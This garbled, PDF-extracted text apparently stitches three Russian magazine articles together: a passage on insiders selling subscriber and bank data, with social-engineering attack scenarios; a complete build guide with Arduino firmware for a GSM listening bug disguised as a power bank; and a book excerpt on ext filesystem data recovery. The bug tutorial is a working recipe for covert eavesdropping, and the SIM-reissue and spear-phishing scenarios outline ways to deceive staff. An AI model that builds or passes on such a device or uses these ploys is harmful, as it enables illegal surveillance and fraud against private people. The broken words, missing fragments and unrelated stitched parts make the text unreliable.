Получен ную информа цию инсай дер отпра вил неус танов ленно му лицу.

при гово рил

Ин терес но, как суд в дан ном слу чае интер пре тиру ет понятие вре да — «в
виде  наруше ния  безопас ности  информа ции,  при над лежащей  и  охра няемой
ПАО  „МТС“,  а  так же  дис кре дита ции  деловой  репута ции ПАО  „МТС“».  Как  по
мне,  деловую  репута цию  ком пании  в  боль шей  сте пени  дис кре дити рует
количес тво  пред ложений  про бива  их  кли ентов  в  дар кне те  и  низ кая  цена
за нее.

Чем  объ яснить  сме ну  ст.  272  УК  РФ  на  274.1?  Воз можно,  пра воох‐ 
ранитель ные  орга ны  гонят ся  за  показа теля ми  по  новой  статье  УК,  и  если
деяние фор маль но содер жит приз наки сос тава прес тупле ния, пре дус мотрен‐ 
ного  ст.  274.1,  то  они  с  радостью  берут ся  за  него.  К  сожале нию,  подоб ное
рве ние может при вес ти к чрез мерно му наказа нию для про винив шихся. С дру‐ 
гой  сто роны,  сот рудни ки  пра воох ранитель ных  орга нов  не  заин тересо ваны
искать и задер живать дей стви тель но опас ных кибер прес тупни ков. Осуж дения
по статье есть, вред кри тичес кой информа цион ной инфраструк туре пре дот‐ 
вра щен, все счас тли вы.

Проб лема в том, что информа ция, которая содер жится в базе дан ных або‐ 
нен тов опе рато ра сотовой свя зи, однознач но кри тич на для самого опе рато ра
и кли ента. Но так ли она кри тич на для безопас ности Рос сий ской Федера ции?
Такой под ход дис кре дити рует  само понятие  кри тич ности и  при водит  к фор‐ 
маль ному исполне нию тре бова ний законо дате лей.

А вот сот рудни ки бан ков пред ста ют перед судом зна читель но реже. Воз‐ 
можно, потому, что бан ки не хотят выносить сор из избы и реша ют кон флик ты
на  мес те,  час то  сот рудни ка  уволь няют.  Но  если  дело  доходит  до  хищения
денеж ных  средств,  то  прос тым  уволь нени ем  зло умыш ленни ку  уже  не  отде‐ 
лать ся. Так, архангель ский суд    к штра фу в 50 тысяч руб лей сот‐ 
рудни ка «Аль фа‐Бан ка» за раз гла шение све дений о шес ти кли ентах бан ка, их
сче тах  и  остатке  денеж ных  средств  на  них.  Получен ные  дан ные  он  передал
сво ему зна комо му,  который реали зовал их в дар кне те за 140  тысяч руб лей.
«Зна комый» тоже пред стал перед судом, получив в наказа ние 45 тысяч руб‐ 
лей штра фа. Инте рес но, что подель ники пос ле вып латы штра фов еще оста вят
при  себе  45  тысяч  руб лей.  Покупа тели  исполь зовали  получен ные  дан ные
с  мак сималь ной  эффектив ностью —  они  похити ли  со  сче тов  кли ентов  поч‐ 
ти 8,5 мил лиона руб лей. Уго лов ное дело в отно шении их выделе но в отдель‐ 
ное про изводс тво.

при гово рил

Гос слу жащие так же ред ко пред ста ют перед судом. Хотя, судя по количес‐ 
тву  пред ложений  в  дар кне те,  инсай деров  в  госуч режде ниях  дос таточ но.
Но если все‐таки попада ются,  то наказа ние час то быва ет суровым. В Крас‐ 
нодар ском  крае  к  двум  с  полови ной  годам  лишения  сво боды 
стар шего  опе рупол номочен ного  отде ла  уго лов ного  розыс ка  полиции.
В течение 2018 года он не менее пят надца ти раз отпра вил пас пор тные дан‐ 
ные граж дан неус танов ленно му лицу.

при гово рили

Изоб ражение: Фёдор Глу мов, goldgfs.ru

ПРИ ЧЕМ ЗДЕСЬ КИБЕРПРЕСТУПНИКИ?
Ко неч но,  в  боль шинс тве  слу чаев  услу ги  про бива  заказы вают  рев нивые  суп‐ 
руги,  час тные  детек тивы,  кол лекто ры,  служ бы  безопас ности  орга низа ций
и  мел кие  мошен ники.  Их  дей ствия  однознач но  про тивоп равны,  тре буют
самого стро гого осуж дения и дол жны пре секать ся  в  любой стра не,  которая
пре тен дует  на  зва ние  раз витой.  Но  нам  инте рес нее,  что  с  эти ми  дан ными
могут сде лать кибер прес тупни ки.

Ке вин Мит ник в кни ге «Искусс тво обма на» утвер жда ет, что нам ного про ще
получить  пароль  с  помощью  обма на,  чем  пытать ся  взло мать  сис тему
безопас ности.  Он  при водит  яркие  и  зах ватыва ющие  при меры,  ког да  прес‐ 
тупни ки  похища ли  мил лионы  дол ларов  бла года ря  нес коль ким  телефон ным
звон кам.  Кибер прес тупни ки  дав но  поняли,  что  самое  уяз вимое  мес то
в  безопас ности  орга низа ции  —  это  ее  сот рудни ки.  Искусс тво  обма на,
которое  сегод ня  называ ется  «соци аль ная  инже нерия»,  поз воля ет  зло деям
получить  цен ней шую  информа цию  об  объ екте  ата ки.  С  ее  помощью  они
без  тру да  взла мыва ют  сис тему  безопас ности  орга низа ции.  Но  что бы  быть
мак сималь но  убе дитель ным  и  прав доподоб ным  при  при мене нии  тех ники
соци аль ной  инже нерии,  нуж но  пред варитель но  соб рать  как  мож но  боль ше
дан ных  о  жер тве.  Здесь  отлично  помогут  соци аль ные  сети  и  откры тые
источни ки  дан ных.  А  вот  информа цию  из  зак рытых  источни ков  как  раз  поз‐ 
волит получить про бив.

Ты навер няка пом нишь недав ний слу чай со 
.  Ата ка  велась не на сами акка унты,  а  на  сот рудни ков Twitter.

Как  раз  с  при мене нием  спо собов  соци аль ной  инже нерии.  Повез ло,  что
взлом щиками  в  том  слу чае  выс тупили  неис кушен ные  прес тупни ки,  которые
выб рали самый незамыс ловатый спо соб исполь зования уяз вимос ти — устро‐ 
или  фаль шивую  раз дачу  бит кой нов.  Мож но  толь ко  догады вать ся,  какие
были  бы  пос ледс твия,  ока жись  эти  дан ные  в  руках  более  серь езных  прес‐ 
тупни ков.

взло мом акка унтов зна мени‐ 
тос тей в Twitter

Вот для при мера один из опас ных сце нари ев. Недав но 
 о воз награж дении до 10 мил лионов дол ларов за информа цию, которая

поможет иден тифици ровать лиц, пыта ющих ся в инте ресах инос тран ного пра‐ 
витель ства  пов лиять  на  резуль таты  выборов  с  помощью  «незакон ной
киберак тивнос ти». Это сооб щение было опуб ликова но на офи циаль ной стра‐ 
нице депар тамен та в Twitter с ука зани ем сай та, на котором мож но поделить ся
информа цией о кибер прес тупни ках. А пред ставь, что этот твит выложи ли зло‐ 
умыш ленни ки  и  ука зали  собс твен ный  сайт.  Сколь ких  бы  «сту качей»  уда лось
выявить подоб ным спо собом?

Гос деп США объ‐ 
явил

Что  еще  могут  сде лать  кибер прес тупни ки?  Про бив  поможет  при  спир‐ 
фишин ге. Нап ример, сот рудни ца ата куемо го пред при ятия недав но отды хала
на  турец ком  побережье. Она  с  высокой  веро ятностью  перей дет  по  ссыл ке,
содер жащей ся  в  пись ме  Рос туриз ма  о  ком пенса ции  за  поез дку  в  Тур цию.
Или  из  турец кого  оте ля  с  информа цией  о  том,  что  она  забыла  укра шение
в  сво ем  номере.  Информа цию  о  переме щени ях  за  гра ницу  мож но
за 5000 руб лей получить из базы «Рубеж».

При мер  из  мобиль ного  про бива.  Зло умыш ленни ки  про бива ют  номер
телефо на  началь ника  ата куемой  орга низа ции  и  его  сек ретаря.  Во  вре мя
отпуска началь ника перевы пус кают его сим‐кар ту, зво нят и пишут сек ретар‐ 
ше  с  ука зани ем  ска чать  файл  по  ссыл ке  и  уста новить  на  свой  компь ютер.
Или  отпра вить  документ  на  ука зан ный  адрес.  Вари анты  огра ниче ны  лишь
фан тази ей  зло умыш ленни ков,  а  она  у  них  богатая. Мно гие  сот рудни ки  гор‐ 
дятся  сво ей  исполни тель ностью  и  ред ко  ста вят  под  сом нение  коман ды
руководс тва. Даже если они наруша ют тре бова ния безопас ности.

Бан ков ский про бив боль ше под ходит кибер мошен никам, цель которых —
похитить  день ги  с  тво ей  бан ков ской  кар ты.  Они  дей ству ют  пря моли ней но
и  гру бо. Про бив помога ет им соб рать допол нитель ную информа цию о жер‐ 
тве, что бы быть более убе дитель ными при обще нии с ней.

НУЖНО ЛИ БОРОТЬСЯ И КАК?
Воп рос  дис кусси онный.  В  пос леднее  вре мя  час то  зву чит  мне ние,  что  пора
рас стать ся  с  поняти ем  «пер сональ ные  дан ные».  Мол,  всё  уже  дав но  есть
в откры том дос тупе. Счи таю такое решение преж девре мен ным. Пока у кибер‐ 
прес тупни ков  есть  воз можность  исполь зовать  наши  пер сональ ные  дан ные
в  про тивоп равных  целях,  эти  дан ные  необ ходимо  дол жным  обра зом
защищать. И любой слу чай утеч ки дол жен стро го наказы вать ся.

Пра воох ранитель ные  орга ны  под ходят  к  борь бе  с  про бив щиками  очень
решитель но.  За  пос ледние  годы  в  Рос сии  осуж дено  боль шое  количес тво
инсай деров, пре иму щес твен но из чис ла сот рудни ков салонов сотовой свя зи.
Это, как пра вило, молодые люди с низ кой зар пла той и боль шими амби циями.
Ради  сиюми нут ной  выгоды  они  готовы  пой ти  на  прес тупле ние,  не  задумы‐ 
ваясь о пос ледс тви ях. Реже уда ется прив лечь к ответс твен ности вер бовщи‐ 
ков. И то если они обща лись с инсай дерами вжи вую.

А  вот  поим ка  вла дель ца  сер виса  про бива —  это  пока  что‐то  из  раз ряда
фан тасти ки.  Неуди витель но,  ведь  они  исполь зуют  средс тва  ано ними зации,
день ги  при нима ют  на  элек трон ные  кошель ки,  перепи сыва ются  в  «Телег‐ 
раме».  Искать  их  слож но,  доказы вать  при час тность  к  про тивоп равной
деятель нос ти еще слож нее. К сожале нию, такая борь ба с низ шими звень ями
в  прес тупной  иерар хии мало эффектив на,  ведь  на  сме ну  пой ман ным  всег да
при ходят новые иска тели лег кого заработ ка.

Кто  дол жен  активно  бороть ся  с  инсай дерами,  так  это  служ бы  безопас‐ 
ности самих  ком паний. При менять для это го самые сов ремен ные  тех ничес‐ 
кие средс тва, монито рить дар кнет, про водить внут ренние про вер ки. Но, судя
по  количес тву  пред ложений  в  дар кне те,  эта  борь ба  либо  не  ведет ся,  либо
недос таточ но  успешна.  Воз можно,  на  более  активные  дей ствия  ком пании
мог ла  бы  мотиви ровать  широкая  огласка  проб лемы  в  СМИ,  иски  потер‐ 
певших  с  тре бова нием  воз мещения  ущер ба,  штра фы  со  сто роны  регули‐ 
рующих орга нов за наруше ние пра вил хра нения и защиты пер сональ ных дан‐ 
ных.  Как  в  ,  ког да  их  оштра фова ли
на 124 мил лиона дол ларов за утеч ку дан ных кли ентов.

при мере  с  сетью  оте лей  Marriott

Но пока это го нет, ник то не может быть уве рен в том, что его не про бива ют
пря мо  сей час.  Даже  если  ты  не  шпи он  и  твои  пас пор тные  дан ные  не  сос‐ 
тавля ют гос тай ну, а переме щаешь ся ты в основном меж ду домом и работой,
это  не  зна чит,  что  тво ими  пра вами  на  защиту  пер сональ ных  дан ных  мож но
пре неб регать.  Ведь  жер тва ми  кибер прес тупни ков  чаще  все го  ста новят ся
прос тые граж дане.
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ТРЮКИ

Ты  навер няка  слы шал,  что  в  шпи онское  устрой ство  мож но
прев ратить  прак тичес ки  что  угод но,  вклю чая  кабели
для заряд ки устрой ств. В этой статье я покажу,  как соб рать
на  Arduino  и  зап рограм мировать  GSM‐жучок,  на  который
мож но  поз вонить  с  опре делен ного  номера  и  слу шать  все
про исхо дящее.  Наше  изоб ретение  мы  замас киру ем
под пор татив ный акку муля тор.

WARNING

Ав тор статьи и редак ция не при зыва ют к незакон‐ 
ной  деятель нос ти.  Информа ция  в  статье  дана
исклю читель но  в  обра зова тель ных  целях.  Пре‐ 
дуп режда ем, что незакон ный обо рот тех ничес ких
средств  и  наруше ние  неп рикос новен ности  час‐ 
тной  жиз ни  кара ются  в  соот ветс твии  со  стать‐ 
ями 137 и 138.1 УК РФ.

Офи циаль но  изго тав ливать  аппа рату ру  для  скры той  прос лушки,  виде онаб‐ 
людения,  сня тия  информа ции  с  компь юте ра  могут  толь ко  фир мы,  которые
име ют  на  это  государс твен ные  лицен зии.  По  замыс лу,  эти  фир мы  дол жны
выпол нять  толь ко  гос заказы.  Но шпи онски ми  устрой ства ми  поп роще может
обза вес тись  любой.  Их  мож но  сде лать  самому,  если  уме ешь  обра щать ся
с  паяль ником.  Детали  для  таких  устрой ств  лег ко  купить  в  любом  магази не,
тор гующем элек тро никой.

Есть нес коль ко видов устрой ств для слеж ки:
ра диожуч ки;•
ми ни‐дик тофоны;•
скры тые виде ока меры;•
ла зер ная прос лушка.•

Мы же будем собирать GSM‐жучок — устрой ство с боль шим ради усом дей‐ 
ствия  и  объ емным  акку муля тором.  Такие  харак терис тики  поз воля ют  ему
работать  в  режиме  ожи дания  до  десяти  дней,  а  в  режиме  прос лушки
до  четырех  часов.  Отли читель ная  чер та  такого  устрой ства  —  воз можность
слу шать все про исхо дящее не в записи, а по ходу дела.

ВЫБОР МАСКИРОВКИ
Про ще все го спря тать что‐то на самом вид ном мес те, в чем‐то, что не прив‐ 
лека ет вни мания. Вот инте рес ные спо собы замас кировать прос лушива ющее
устрой ство.

Компь ютер ная мышь со встро енным GSM‐жуч ком

За ряд ка для смар тфо на со встро енным GSM‐жуч ком

Кла виату ра со встро енным дик тофоном

Эти вари анты прос лушки инте рес ны еще и тем, что пред меты, в которые были
внед рены жуч ки, поч ти всег да под клю чены к сети: так жучок никог да не раз‐ 
рядит ся,  а  зна чит,  доль ше  ста нет  выпол нять  свою  фун кцию  —  переда вать
информа цию.

Ес ли жучок будет работать толь ко на сво ей батарее, при дет ся задумать ся
о  том,  как  его  под заряжать.  В  шпи онских  филь мах  это  всег да  вызыва ет
допол нитель ные проб лемы. Нам это не нуж но.

По это му  мой  вари ант  —  внед рить  жучок  во  внеш ний  акку муля тор
для  заряд ки  смар тфо на.  Его  час то  носят  с  собой,  заряжа ют,  а  если  и  не
заряжа ют — он сам ста новит ся источни ком питания для жуч ка. На мой вкус,
это очень удач ное мес то для раз мещения жуч ка.

СБОРКА
Для сбор ки устрой ства нам пот ребу ется:

GSM‐модуль Sim 800;•
Arduino Pro mini;•
кор пус Power Bank на четыре акку муля тора Li‐ion 18650;•
два или три акку муля тора форм‐фак тора 18650 (я исполь зовал два);•
мик рофон;•
сим‐кар та.•

Ком плек тующие для сбор ки

Что бы  кор рек тно  соб рать  устрой ство,  нуж но  знать  наз начения  выводов
на модуле GSM Sim 800 и Arduino Pro mini.

Наз начение выводов Sim 800

Наз начение выводов Arduino Pro mini

Да лее при паиваем антенну к модулю GSM в гнез до  .NET
1. К выходам   и   при паиваем мик рофон.MIC+ MIC­

2.   и   на модуле GSM к шес тому и седь мому кон такту на Arduino.RXD TXD

3. Под паиваем   и   от модуля к Arduino и к кон тактам на внеш нем акку‐ 
муля торе.

Vcc GND

Сбор ка для тес та

Пос ле запай ки всех ком понен тов на свои мес та нуж но убе дить ся в пра виль‐ 
нос ти запай ки — про шить кон трол лер.

// Подключаем библиотеку программной реализации обмена по 
UART‐протоколу
#include <SoftwareSerial.h>

     SoftwareSerial SIM800(7, 6); // RX, TX

// Задаем переменную для хранения ответа модуля
     String _response = "";

   void setup() {
 // Скорость обмена данными с компьютером
 Serial.begin(19200);
 // Скорость обмена данными с модемом
 SIM800.begin(19200);
 Serial.println("Start!");

 // Отправляем AT для настройки скорости обмена данными
   sendATCommand("AT", true);

 // Команды настройки модема при каждом запуске
 // Включаем АОН
       _response = sendATCommand("AT+CLIP=1", true);
 // Вариант с DTMF
 //_response = sendATCommand("AT+DDET=1", true);
}

         String sendATCommand(String cmd, bool waiting) {
 // Задаем переменную для хранения результата
       String _resp = "";
 // Дублируем команду в монитор порта
 Serial.println(cmd);
 // Отправляем команду модулю
 SIM800.println(cmd);
 // Если необходимо дождаться ответа, ждем, когда будет передан 
ответ
     if (waiting) {
       _resp = waitResponse();
   // Если Echo Mode выключен (ATE0), то эти три строки можно 
закомментировать
       if (_resp.startsWith(cmd)) {

              _resp = _resp.substring(_resp.indexOf("\\r", cmd.length()) + 2)
;
   }
   // Дублируем ответ в монитор порта
   Serial.println(_resp);
 }
 // Возвращаем результат. Пусто, если проблема
   return _resp;
}

// Функция ожидания ответа и возврата полученного результата
   String waitResponse() {

 // Переменная для хранения результата
       String _resp = "";
 // Переменная для отслеживания тайм‐аута (10 секунд)
           long _timeout = millis() + 10000;
 // Ждем ответа 10 секунд и проверяем ответ или тайм‐аут
              while (!SIM800.available() && millis() < _timeout) {};
 // Если есть что считывать, считываем и запоминаем
     if (SIM800.available()) {
       _resp = SIM800.readString();
 }
 // Если пришел тайм‐аут, то оповещаем об этом и возвращаем 
результат
   else {
   Serial.println("Timeout...");
 }
   return _resp;
}

   void loop() {
 // Если модем что‐то отправил, получаем ответ для анализа
       if (SIM800.available()) {
       _response = waitResponse();
   // Убираем лишние пробелы в начале и конце и ответ выводим в 
монитор порта
   _response.trim();
   Serial.println(_response);
   // Белый список телефонов, их можно указать несколько через 
запятую
         String whiteListPhones = "+380713337866";
   // Если есть входящий вызов, проверяем, есть ли информация об 
определении номера. Если да, то phoneindex > ‐1
       if (_response.startsWith("RING")) {

          int phoneindex = _response.indexOf("+CLIP: \"");
     // Переменная для хранения определенного номера

          String innerPhone = "";
     // Если информация была найдена, парсим строчку и получаем 
номер

            if (phoneindex >= 0) {
          phoneindex += 8;
     

 
       innerPhone = _response.substring(phoneindex, _response.
indexOf("\"", phoneindex));
       // Выводим номер в монитор порта

          Serial.println("Number: " + innerPhone);
     }
     // Проверяем, чтобы длина номера была больше шести цифр
     // и номер был в списке. Если да, то отвечаем на вызов,
     // если нет, то отклоняем

         
     

     if (innerPhone.length() >= 7 && whiteListPhones.indexOf(
innerPhone) >= 0) {

        sendATCommand("ATA", true);
     }

      else {
        sendATCommand("ATH", true);

     }
   }
 }
 // Ожидаем команды по Serial и отправляем полученную команду модему
      if (Serial.available()) {
   SIM800.write(Serial.read());
 };
}

При  пра виль ной  запай ке  и  про шив ке  наш  жучок  при  подаче  питания  будет
отве чать  на  вхо дящие  вызовы  толь ко  с  раз решен ных  мобиль ных  номеров,
которые про писа ны в про шив ке.

Те перь пора убрать длин ные соеди нитель ные про вода, выпа ять све тоди‐ 
оды с пла ты Arduino. Мик рофон мы изо лиру ем тер моусад кой, свер лим в кор‐ 
пусе внеш него акку муля тора отвер стие для него и кре пим на тер моклей его
и две пла ты, вмес то одно го акку муля тора 18650.

В  сво ей  сбор ке  я  исполь зовал  два  акку муля тора,  но  ты можешь  исполь‐ 
зовать три — мес та будет дос таточ но.

Фи наль ная запай ка ком понен тов

При мер ка и зак репле ние начин ки в кор пусе

Го товое устрой ство

Итак, мы соб рали GSM‐жучок в кор пус внеш него акку муля тора. Он, конеч но,
неидеален, но есть нес коль ко спо собов его улуч шить.
1. Взять кор пус с боль шей вмес тимостью акку муля торов.
2. Для  боль шей  авто ном ности  вво дить  модуль  GSM  в  режим  сна,  а  при
нажатии на кноп ку вклю чения акку муля тора акти виро вать прос лушку.

3. От сылать сооб щение хозя ину прос лушки при нажатии кноп ки на внеш нем
акку муля торе.

ВЫВОДЫ
Итак, мы спро екти рова ли и соб рали GSM‐жучок, замас кирован ный под внеш‐ 
ний акку муля тор. Его сто имость нам ного ниже, чем у жуч ков, которые мож но
купить в интерне те и в спе циали зиро ван ных магази нах. Ты можешь пов торить
мое устрой ство или дорабо тать его. Глав ное, пом ни, что час тная жизнь неп‐ 
рикос новен на, и не исполь зуй свои зна ния в дур ных целях!

Ссылки на комплектующие и полезные материалы

• Arduino Pro Mini
• SIM 800
• Power bank на четыре акку муля тор ных батареи
• Power bank на восемь акку муля тор ных батарей
• Ак кумуля торы 18650
• Про шив ка для Arduino
• Пол ный спи сок AT‐команд для SIM 800
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ТРЮКИ

Каж дый, кто работал в Linux, хотя бы однажды уда лял цен ный
файл, а то и весь кор невой каталог целиком!   живее
всех живых, резер вной  копии нет  (а дол жна бы быть!),  вре‐ 
мени на поис ки и выбор ути лит для вос ста нов ления — тоже.
Как же быть?

rm ­rf

INFO

В 2006 году выш ла в свет кни га Кри са Кас пер ски
«Вос ста нов ление  дан ных»,  которая  быс тро  ста ла
бес тсел лером.  Сей час  эта  кни га  готовит ся
к  пере изда нию.  Мы  пуб лику ем  отры вок  из  этой
кни ги,  пос вящен ный  вос ста нов лению  дан ных
в фай ловых сис темах ext.

Оши боч ное  уда ление  фай лов  в  *NIX  —  это  дос таточ но  рас простра нен ное
явле ние,  навер ное,  даже  более  час тое,  чем  в  мире Microsoft.  Под Windows
боль шинс тво фай ловых опе раций выпол няет ся вруч ную с помощью про вод‐ 
ника или дру гих инте рак тивных средств типа FAR или Total Commander. Инте‐ 
рак тивные  сре ды  есть  и  в  Linux  (KDE,  GNOME,  XFCE…),  но  немалая  часть
фанатов  Linux  —  пок лонни ки  коман дной  стро ки.  Коман дная  же  стро ка  —
это регуляр ные выраже ния и скрип ты, то есть авто мати зиро ван ные средс тва
управле ния — мощ ные,  удоб ные  и,  при  неп равиль ном  исполь зовании,  раз‐ 
рушитель ные.  Малей шая  неб режность  —  и  можешь  нав сегда  поп рощать ся
со сво ими фай лами!

Пе реф разируя Бул гакова, мож но ска зать: мало того что файл смер тен, так
он  еще  и  вне зап но  смер тен!  Беда  никог да  не  пре дуп режда ет  о  сво ем  при‐ 
ходе, и адми нис тра тору при ходит ся быть пос тоян но начеку. Нес коль ко секунд
назад все было хорошо: цве ла вес на, вин честер ожив ленно стре котал все ми
сво ими голов ками, адми нис тра тор отхле бывал кофе из чер ной круж ки с над‐ 
писью  root,  как  вдруг  сот ни  гигабайт  цен ней ших  дан ных  вне зап но  раз‐ 
летелись  на  мел кие  осколки.  Все  силы  бро шены  на  раз гре бание  завалов
и спа сение всех, кого еще мож но спас ти.

Дос тупность  исходных  тек стов  драй вера фай ловой  сис темы  зна читель но
упро щает  иссле дова ние  ее  внут ренней  струк туры,  которая,  кста ти  говоря,
очень  прос та.  Поэто му  вос ста нов ление  дан ных  на  раз делах  ext2/3/4  —
задача три виаль ная.

ЗНАКОМЬТЕСЬ! СЕМЕЙСТВО РАСШИРЕННЫХ ФАЙЛОВЫХ СИСТЕМ
Из началь но Linux был чем‐то вро де воль ного перес каза ОС Minix, раз работ ка
велась  под  ней  же,  и  работа ли  пер вые  вер сии  Linux  на  фай ловой  сис теме
Minix. Называ лась та незамыс ловато — MINIX file system — и, в свою оче редь,
была вдох новле на фай ловой сис темой UNIX — UFS. Но, пос коль ку сама Minix
раз рабаты валась ско рее в учеб ных целях, ее фай ловая сис тема не обла дала
широки ми  воз можнос тями.  Нап ример,  раз мер  раз дела  не  мог  пре‐ 
вышать 64 Мбайт, а мак сималь ная дли на име ни фай ла — 14 или 30 сим волов
в зависи мос ти от вер сии. Что бы пре одо леть такие огра ниче ния, начали раз‐ 
рабаты вать собс твен ную ФС для Linux.

Немного об истоках
Но вая  фай ловая  сис тема  рас ширяла  воз можнос ти  MINIXfs,  за  что,  видимо,
и  получи ла  наз вание  extended  filesystem.  Пер вая  реали зация  рас ширен ной
фай ловой сис темы, ext fs, уви дела свет в 1992 году в ядре Linux вер сии  .
Теперь при вер женцы Linux были огра ниче ны дву мя гигабай тами для раз дела,
а  фай лы  мог ли  иметь  имя  дли ной  до  255  сим волов.  Тем  не  менее  эта ФС
была все еще срав нитель но прос та, поэто му даль нейшее ее раз витие не зас‐ 
тавило себя дол го ждать. При мер но в это же вре мя, кста ти, в Linux появил ся
такой уро вень абс трак ции, как вир туаль ная фай ловая сис тема (VFS), облегча‐ 
ющий добав ление под дер жки новых ФС в ядро.

0.96c

С появ лени ем через пару лет ext2 мак сималь ные раз меры фай ла и фай‐ 
ловой сис темы воз росли до 16 Гбайт и 2 Тбайт соот ветс твен но (при раз мере
бло ка 1 Кбайт). Часть бло ков (обыч но 5%) теперь резер вирова лась под рут,
не поз воляя обыч ным поль зовате лям запол нить весь раз дел без остатка. Тог‐ 
да эта ФС ста ла прак тичес ки стан дартом де‐фак то на линук сах, а ее реали‐ 
зации, говорят, были и  .под NT

Поколение ext3
Третья  рас ширен ная  фай ловая  сис тема  (Third  extended  file  system,  ext3)
появи лась  поч ти  двад цать  лет  назад  в  одной  из  вер сий  Linux  .  Она
во мно гом напоми нает свою пред шес твен ницу, ext2, но отли чает ся под дер‐ 
жкой жур налиро вания (в тер миноло гии NTFS — тран закций). В отли чие от ex‐
t2fs, она нам ного береж нее отно сит ся к мас сиву катало гов, хотя, как мы уви‐ 
дим чуть далее, нам это не силь но поможет.

2.4.14

В начале дис ка рас положен заг рузоч ный сек тор,  который на незаг рузоч‐ 
ных раз делах может быть пус тым. За ним по сме щению 1024 бай та от начала
пер вого  сек тора  лежит  супер блок  ( ),  содер жащий  клю чевую
информа цию о струк туре фай ловой сис темы. В FAT и NTFS эта информа ция
хра нит ся  непос редс твен но  в  заг рузоч ном  сек торе.  В  пер вую  оче редь  нас
будет  инте ресо вать  32‐раз рядное  поле  ,  рас положен ное
по сме щению   байт от начала супер бло ка. Здесь хра нит ся раз мер одно го
бло ка ( ), или, в тер миноло гии MS‐DOS/Windows, клас тера, выражен ный
в  виде  ука зате ля  позиции,  на  которую нуж но  сдви нуть  чис ло  .  В  естес‐ 
твен ных  еди ницах  это  будет  зву чать  так: 

 (байт). То есть, если   равен нулю, раз‐ 
мер одно го бло ка сос тавля ет   байт, или два стан дар тных сек тора. Струк‐ 
тура  дис кового  тома,  отформа тиро ван ного  под  ext3fs,  показа на  в  лис тинге
ниже. Под робную информа цию мож но уви деть в выводе коман ды  .
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Смещение Размер                            Описание
‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
0             1 boot record              ; Загрузочный сектор
‐‐ block group 0 ‐‐                  ; Группа блоков 0
(1024 bytes)  1 superblock               ; Суперблок
2             1 group descriptors        ; Дескриптор группы
3             1 block bitmap             ; Карта свободных блоков
4             1 inode bitmap             ; Карта свободных inode
5           214 inode table              ; Массив inode (сведения о 
файлах)
219        7974 data blocks              ; Блоки данных (файлы, 
каталоги)

 
 

 
 
 

 

‐‐ block group 1 ‐‐                  ; Группа блоков 1
819           1 superblock backup        ; Копия суперблока
819           1 group descriptors backup ; Копия дескриптора группы
819           1 block bitmap             ; Карта свободных блоков
819           1 inode bitmap             ; Карта свободных inode
819         214 inode table              ; Массив inode (сведения о 
файлах)
840        7974 data blocks              ; Блоки данных (файлы, 
каталоги)

 
 
 

 

‐‐ block group 2 ‐‐                  ; Группа блоков 2
16385         1 block bitmap             ; Карта свободных блоков
16386         1 inode bitmap             ; Карта свободных inode
16387       214 inode table              ; Массив inode (сведения о 
файлах)
16601      3879 data blocks              ; Блоки данных (файлы, 
каталоги)

Вслед за супер бло ком идут дес крип торы групп ( ) и кар ты
сво бод ного прос транс тва, они же битовые кар ты ( /

), которые не име ют боль шого прак тичес кого зна чения для наших целей.
Что же каса ется таб лицы инод, рас положен ной за ними, то она зас лужива ет
более под робно го рас смот рения. В ext3fs (как и мно гих дру гих фай ловых сис‐ 
темах  из  мира  UNIX)  так  называ емый  индек сный  дес крип тор  (inode,  он  же
ино да) игра ет  ту же самую роль, что и фай ловая запись в NTFS. Здесь сос‐ 
редото чена вся информа ция о фай ле, кро ме его име ни: тип фай ла (обыч ный
файл, каталог, сим воль ная ссыл ка и так далее), его логичес кий и физичес кий
раз мер,  схе ма  раз мещения  на  дис ке,  вре мя  соз дания,  модифи кации,  пос‐ 
ледне го дос тупа или уда ления, пра ва дос тупа, а так же ссыл ки на файл. Фор‐ 
мат пред став ления ино ды в ext3 выг лядит так:

group descriptors
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Смещение Размер                 Описание
‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐
0             2 i_mode        ; Формат представления
2             2 i_uid         ; UID пользователя
4             4 i_size        ; Размер файла в байтах
8             4 i_atime       ; Время последнего доступа к файлу
12            4 i_ctime       ; Время создания файла
16            4 i_mtime       ; Время модификации файла
20            4 i_dtime       ; Время удаления файла
24            2 i_gid         ; GID группы
26            2 i_links_count ; Количество ссылок на файл (0 — файл 
удален)
28            4 i_blocks      ; Количество блоков, принадлежащих файлу
32            4 i_flags       ; Различные флаги
36            4 i_osd1        ; Значение, зависящее от ОС

40         12x4 i_block       ; Ссылки на первые 12 блоков файла

 
 
 

 
 

 
 

88            4 i_iblock      ; 1x INDIRECT BLOCK
92            4 i_2iblock     ; 2x INDIRECT BLOCK
96            4 i_3iblock     ; 3x INDIRECT BLOCK
100           4 i_generation  ; Поколение файла (используется NFS)
104           4 i_file_acl    ; ACL файла
108           4 i_dir_acl     ; ACL директории
112           4 i_faddr       ; Положение последнего фрагмента
116          12 i_osd2        ; Структура, зависящая от ОС

Пер вые  12  бло ков,  занима емых  фай лом,  называ ются  непос редс твен ными
бло ками  (для  наг ляднос ти  они отде лены  перено сами). Они  хра нят ся  в мас‐ 
сиве    непос редс твен но  в  теле  ино ды.  Каж дый  эле мент мас‐ 
сива  пред став ляет  собой  32‐бит ный  номер  бло ка.  При  сред нем  зна чении

, рав ном 4 Кбайт, непос редс твен ные бло ки могут адре совать до 
  Кбайт  дан ных.  Если  файл  пре выша ет  этот  раз мер,  соз дают ся

один или нес коль ко бло ков кос венной адре сации ( ).

DIRECT BLOCKS

BLOCK_SIZE 4
×  12  ==  48

INDIRECT BLOCK
Пер вый блок кос венной адре сации (1x  , или прос то 

) хра нит ссыл ки на дру гие непос редс твен ные бло ки. Адрес это го
бло ка  хра нит ся  в  поле    в  inode.  Как  лег ко  вычис лить,  он
адре сует поряд ка 
  Мбайт  дан ных.  Если  это го  ока жет ся  недос таточ но,  соз дает ся  кос венный
блок двой ной кос венной адре сации (2x  , или 

),  хра нящий ука зате ли на  кос венные бло ки,  что поз воля ет адре‐ 
совать 

 Гбайт дан ных.

INDIRECT BLOCK INDI‐
RECT BLOCK

i_indirect_block
BLOCK_SIZE/sizeof(DWORD) * BLOCK_SIZE =  4096/4  * 

4
INDIRECT BLOCK DOUBLE INDI‐

RECT BLOCK
(BLOCK_SIZE/sizeof(DWORD))**2 * BLOCK_SIZE = 4096/4 ** 4096

== 4
